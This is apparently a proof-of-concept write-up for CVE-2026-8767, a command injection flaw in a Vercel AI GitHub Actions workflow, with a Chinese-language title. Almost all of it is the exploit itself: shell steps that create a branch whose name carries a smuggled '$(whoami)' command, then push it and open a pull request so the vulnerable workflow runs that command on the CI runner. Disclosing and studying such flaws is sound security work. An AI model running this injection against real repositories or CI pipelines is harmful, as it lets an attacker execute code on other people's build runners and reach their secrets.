CVE-2026-8767: Vercel AI OS命令注入漏洞

# PoC for CVE-2026-8767: OS Command Injection via Branch Name # This PoC demonstrates how a malicious branch name can trigger command injection. # Step 1: Create a new branch with a payload in the name # The payload uses a semicolon to chain commands. `$(whoami)` executes the command. BRANCH_NAME="feature/clean-styles;$(whoami)" git checkout -b "$BRANCH_NAME" # Step 2: Commit and push to trigger the GitHub Actions workflow echo "test" > test.txt git add test.txt git commit -m "Test malicious branch" git push origin "$BRANCH_NAME" # Step 3: Create a Pull Request # When the PR is created, the vulnerable workflow `.github/workflows/prettier-on-automerge.yml` # will interpolate the branch name into a command, executing `whoami` on the runner.